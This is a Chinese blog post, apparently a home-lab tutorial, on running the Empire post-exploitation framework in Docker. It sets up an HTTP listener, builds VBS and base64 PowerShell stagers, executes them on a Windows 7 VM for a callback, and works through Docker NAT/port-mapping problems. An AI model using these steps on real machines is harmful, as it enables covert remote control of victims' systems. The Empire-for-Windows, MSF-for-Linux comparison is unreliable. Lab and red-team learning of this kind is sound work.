docker下安装Empire与Empire简单使用
前言
在kali本机安装Empire时,由于机器环境混乱,导致各种缺少依赖或报错,因此选择在docker下安装。本篇记录安装流程以及使用过程中遇到的问题与解决思路。
Empire和MSF的区别
- Empire是基于PowerShell的,而MSF是基于Ruby的。这意味着Empire更适合针对Windows系统,而MSF更适合针对Linux系统。
- Empire的监听方式是先建立监听,再生成木马。而MSF的监听方式是先生成木马,再建立监听。这意味着Empire可以根据不同的目标系统来定制木马,而MSF需要保证木马和监听的payload一致。
docker容器,实际上就是个虚拟环境
创建Empire docker容器
//以下操作都处于root权限
启动docker:systemctl start docker
获取docker里empire的环境镜像:docker pull empireproject/empire
创建docker容器并命名为empire:docker create -it -p 7000:7000 --name empire empireproject/empire /bin/bash **-p 进行pat
//搜索docker提供的镜像:docker search empire(可访问互联网的环境下运行)
//列出已获取镜像:docker image ls
//列出已有容器:docker ps -a
Empire初始化
//sudo不能忽略
运行empire容器:docker start -i empire
初始化empire:sudo ./setup/reset.sh
输入密码
启动empire:sudo ./empire
提示缺少pefile模块
//升级pip再安装pefile
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python get-pip.py ln -s /usr/local/bin/pip2.7 /usr/bin/pip
pip install pefile
成功启动empire
下次如果需要启动的话只需要运行:
启动docker:systemctl start docker
运行empire容器:docker start -i empire
Empire简单使用
环境
//kali和windows7接入Vmnet5
kali:192.168.1.130/24 windows7:192.168.1.3/24
开启监听listeners
监听listeners uselistener 双击tab 可以看到七种模式。 使用uselistener http模块 info 查看详细信息与设置 set name
//下面的两个port是在创建容器时指定的 set Host [ip:port] ip是kali在Vmnet5子网下的ip;port是端口映射后的port,即kali监听的端口 set Port [port] 端口映射前的port,即empire docker监听的端口 execute执行监听
生成木马
stager,类似MSF的payload
usestager 双击tab 查看可利用stager
使用usestager windows/vbs模块
info
set listener
execute 在/tmp生成木马launcher.dll
从docker取出.vbs文件
docker ps -a //先获取containId
docker cp [containId]:/tmp/launcher.vbs /tmp/
复制到Win7执行即可反弹
排查阶段
原因
此时还不明白创建容器时指定端口转发的作用,在empire设置监听时没有对端口进行设置(默认80),导致执行木马后empire与目标机器无法建立连接。
ifconfig查看kali有一块docker0的网卡
docker0网卡对应着docker的brige虚拟网络
路由表:
因此此时整个网络拓扑如下:
那就用win7 ping 下Empire
出错,怎么回事呢?
已知brige网络设置了默认网关,所有bridge的数据包由172.17.0.1,也就是kali转发出去。
而Win7没有指明目标172.17.0.0/24这个网段的数据包发往何处,如图所示
给win7添加路由
//在cmd操作
route add -p 172.17.0.0 mask 255.255.0.0 192.168.1.130
再ping,这次出现请求超时的错误。
kali抓包,可以看到包确实发给kali了,但是在eth0就被掐掉了,没有任何包进入docker0。
当时我的猜想是bridge网络做了nat,而Empire没有主动连接bridge网络以外的主机,自然也没有相应的nat转换记录。
复盘:做到最后发现不仅bridge开启了nat,创建容器的时候也在kali的eth0做了pat,所以这就能解释为什么不会有包经过docker0了。
判定bridge确实开启了nat
docker network inspect bridge查看
本想着给bridge配个静态nat,没找到相关配置。
陷入沉思。。
先记录下过程吧。
写着写着博客突然想起在创建Empire容器时给其做了端口转发,试试这个突破口。
查看本地监听,的确有7000端口的监听
到这里Empire回包的过程就很清晰了:数据包先在docker0转换源ip地址(假设从172.17.0.2转成172.17.0.1),做的是nat;接着数据包来到eth0,又转换源ip地址,同时修改端口(172.17.0.1:7000转成192.168.1.130:7000),做的是pat。
因此Win7访问的Empire的地址就是192.168.1.130:7000
Empire开启一个新的监听,修改这三项
使用launcher生成powershell的base64代码
复制到win7 powershell执行,成功获得代理!!!
总结
在docker下玩empire感觉像是内网打外网。这次排查过程也学习到了不少docker的网络知识和命令。